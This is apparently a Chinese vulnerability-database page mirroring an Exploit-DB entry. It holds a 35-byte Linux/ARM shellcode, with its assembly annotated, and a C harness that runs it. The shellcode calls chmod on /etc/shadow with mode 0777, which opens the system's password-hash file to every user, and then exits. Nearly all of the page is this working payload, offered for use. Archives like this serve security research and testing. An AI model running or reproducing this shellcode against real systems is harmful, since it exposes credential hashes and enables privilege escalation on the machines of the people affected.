Linux/ARM - chmod 0777 /etc/shadow Shellcode (35 bytes)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1060592 漏洞类型
发布时间 2010-06-29 更新时间 2010-06-29
CVE编号 N/A CNNVD-ID N/A
漏洞平台 ARM CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/14122
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
| Title: Linux/ARM chmod("/etc/shadow", 0777) Shellcode 35 Bytes
| Type: Shellcode
| Author: Florian Gaultier <florian.gaultier@shell-storm.org>
| Platform: Linux ARM (ARM926EJ-S rev 5 (v51))
| [+] http://www.shell-storm.org
*/

#include <stdio.h>


char shellcode[] = "\x01\x60\x8f\xe2" // add r6, pc, #1
"\x16\xff\x2f\xe1" // bx r6
"\x78\x46" // mov r0, pc
"\x0c\x30" // adds r0, #12
"\xff\x21" // movs r1, #255
"\xff\x31" // adds r1, #255
"\x0f\x27" // movs r7, #15
"\x01\xdf" // svc 1
"\x01\x27" // movs r7, #1
"\x01\xdf" // svc 1
"/etc/shadow";

int main()
{
(*(void(*)()) shellcode)();

return 0;
}